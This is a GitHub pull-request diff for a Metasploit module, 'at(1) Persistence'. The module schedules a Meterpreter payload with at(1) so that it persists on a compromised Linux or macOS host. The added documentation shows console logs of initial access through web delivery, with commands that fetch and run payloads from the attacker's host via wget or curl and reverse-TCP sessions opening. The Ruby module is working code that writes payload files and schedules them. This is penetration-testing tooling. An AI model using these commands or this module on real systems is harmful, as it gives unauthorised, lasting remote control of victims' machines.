Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
190 changes: 190 additions & 0 deletions documentation/modules/exploit/multi/persistence/at.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,190 @@
## Vulnerable Application

This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
with any UNIX-like operating system with `atd` running.

Verified on Kali linux and OSX 13.7.4

### OSX

In the case of OS X, the `atrun` service must be launched:

```
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
```

### Kali

`at` isn't installed by default. `sudo apt-get install at`.

## Verification Steps

1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/multi/persistence/at`
4. Do: `set session #`
5. `exploit`


## Options

### TIME

When to run job via `at(1)`. Conforms to timespec. Examples can be found in the module's references.

## Scenarios

### Kali Linux

Initial access vector via web delivery

```
[*] Processing /home/mtcyr/.msf4/msfconsole.rc for ERB directives.
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/home/mtcyr/.msf4/msfconsole.rc)> setg lhost 192.168.10.144
lhost => 192.168.10.144
resource (/home/mtcyr/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/home/mtcyr/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/home/mtcyr/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/home/mtcyr/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/home/mtcyr/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/home/mtcyr/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 192.168.10.144:4545
[*] Using URL: http://192.168.10.144:8181/PaulWjhBSpRlqAz
[*] Server started.
[*] Run the following command on the target machine:
wget -qO o20dAbhk --no-check-certificate http://192.168.10.144:8181/PaulWjhBSpRlqAz; chmod +x o20dAbhk; ./o20dAbhk& disown
[msf](Jobs:2 Agents:0) exploit(multi/script/web_delivery) >
[*] 192.168.10.144 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.10.144
[*] Meterpreter session 1 opened (192.168.10.144:4545 -> 192.168.10.144:42442) at 2025-02-06 11:40:00 -0500
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/tmp) > sysinfo
Computer : 192.168.10.144
OS : Debian (Linux 6.11.2-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/tmp) > background
[*] Backgrounding session 1...
```

Persistence

```
[msf](Jobs:2 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set time "now +10 minutes"
time => now +10 minutes
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > set session 1
session => 1
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) > exploit
[*] Command to run on remote host: curl -so ./tmoAoATss http://192.168.10.144:8080/aZRe4yWUN3U2-lDtdsaGlA;chmod +x ./tmoAoATss;./tmoAoATss&
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > [*] Fetch handler listening on 192.168.10.144:8080
[*] HTTP server started
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
[*] Started reverse TCP handler on 192.168.10.144:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
[*] Writing payload to /tmp//YneHFC
[*] Waiting for execution
[*] Meterpreter-compatible Cleaup RC file: /home/mtcyr/.msf4/logs/persistence/192.168.10.144_20250206.4241/192.168.10.144_20250206.4241.rc
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) > date
[*] exec: date
Thu Feb 6 11:42:44 AM EST 2025
[msf](Jobs:3 Agents:1) exploit(multi/persistence/at) >
[*] Client 192.168.10.144 requested /aZRe4yWUN3U2-lDtdsaGlA
[*] Sending payload to 192.168.10.144 (curl/8.11.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.10.144
[*] Meterpreter session 2 opened (192.168.10.144:4444 -> 192.168.10.144:36212) at 2025-02-06 11:52:00 -0500
[msf](Jobs:3 Agents:2) exploit(multi/persistence/at) > date
[*] exec: date
Thu Feb 6 11:52:20 AM EST 2025
```

### OSX 13.7.4

Initial access vector via web delivery

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 8
target => 8
resource (/root/.msf4/msfconsole.rc)> set srvport 8383
srvport => 8383
resource (/root/.msf4/msfconsole.rc)> set payload payload/osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4747
lport => 4747
resource (/root/.msf4/msfconsole.rc)> set URIPATH m
URIPATH => m
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4747
[*] Using URL: http://111.111.1.111:8383/m
[*] Server started.
[*] Run the following command on the target machine:
curl -sk --output y9D7PFJd http://111.111.1.111:8383/m; chmod +x y9D7PFJd; ./y9D7PFJd& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Meterpreter session 1 opened (111.111.1.111:4747 -> 222.22.2.2:49164) at 2025-02-21 16:59:10 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/at
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:2 Agents:2) exploit(multi/persistence/at) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/Users/macos) > getuid
Server username: macos
(Meterpreter 1)(/Users/macos) > sysinfo
Computer : 20.20.20.21
OS : macOS Ventura (macOS 13.7.4)
Architecture : x86
BuildTuple : x86_64-apple-darwin
Meterpreter : x64/osx
(Meterpreter 1)(/Users/macos) >
```

Persistence

Already run: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist`

```
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set time now +2 minutes
time => now +2 minutes
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > set payload payload/osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
[msf](Jobs:1 Agents:1) exploit(multi/persistence/at) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(multi/persistence/at) >
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
[*] Writing payload to /tmp/NBcqC
[*] Writing '/tmp/NBcqC' (25 bytes) ...
[*] Writing '/tmp/NBcqCmk' (815032 bytes) ...
[+] at job created with id: 7
[*] Waiting up to sec for execution
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/20.20.20.21_20250221.0028/20.20.20.21_20250221.0028.rc
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.22.2.2:49165) at 2025-02-21 17:02:29 -0500
```
32 changes: 0 additions & 32 deletions documentation/modules/exploit/unix/local/at_persistence.md

This file was deleted.

112 changes: 112 additions & 0 deletions modules/exploits/multi/persistence/at.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Local::Timespec
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/unix/local/at_persistence'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'at(1) Persistence',
'Description' => %q{
This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box
with any UNIX-like operating system with atd running.
Verified on Kali linux and OSX 13.7.4
},
'License' => MSF_LICENSE,
'Author' => [
'Jon Hart <[email protected]>'
],
'Targets' => [['Automatic', {} ]],
'DefaultTarget' => 0,
'Platform' => %w[unix linux osx],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['meterpreter', 'shell'],
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
'References' => [
['URL', 'https://linux.die.net/man/1/at'],
['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],
['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],
['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],
],
'Notes' => {
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)

register_options([
OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
])
end

def check
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']

return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'

# we do a direct test with atq instead of reading at.allow and at.deny
token = Rex::Text.rand_text_alphanumeric(8)
if cmd_exec("atq && echo #{token}").include?(token)
return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')
end

CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')
end

def install_persistence
fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])
payload_path = datastore['WritableDir']
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
vprint_status("Writing payload to #{payload_path}")

if payload.arch.first == 'cmd'
upload_and_chmodx(payload_path, payload.encoded)
else
# because the payloads contents is imported into the at job, we use a stub to call our payload
# as it doesn't like binary payloads directly
payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"
# stub, but keep payload_path name for consistency
upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")
upload_and_chmodx(payload_path_exe, generate_payload_exe)
@clean_up_rc << "rm #{payload_path_exe}\n"
end

@clean_up_rc << "rm #{payload_path}\n"

job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")
job_id = job.split(' ')[1]
print_good("at job created with id: #{job_id}")
# this won't actually do anything since its not in a shell
@clean_up_rc << "atrm #{job_id}\n"

print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
end
end
Loading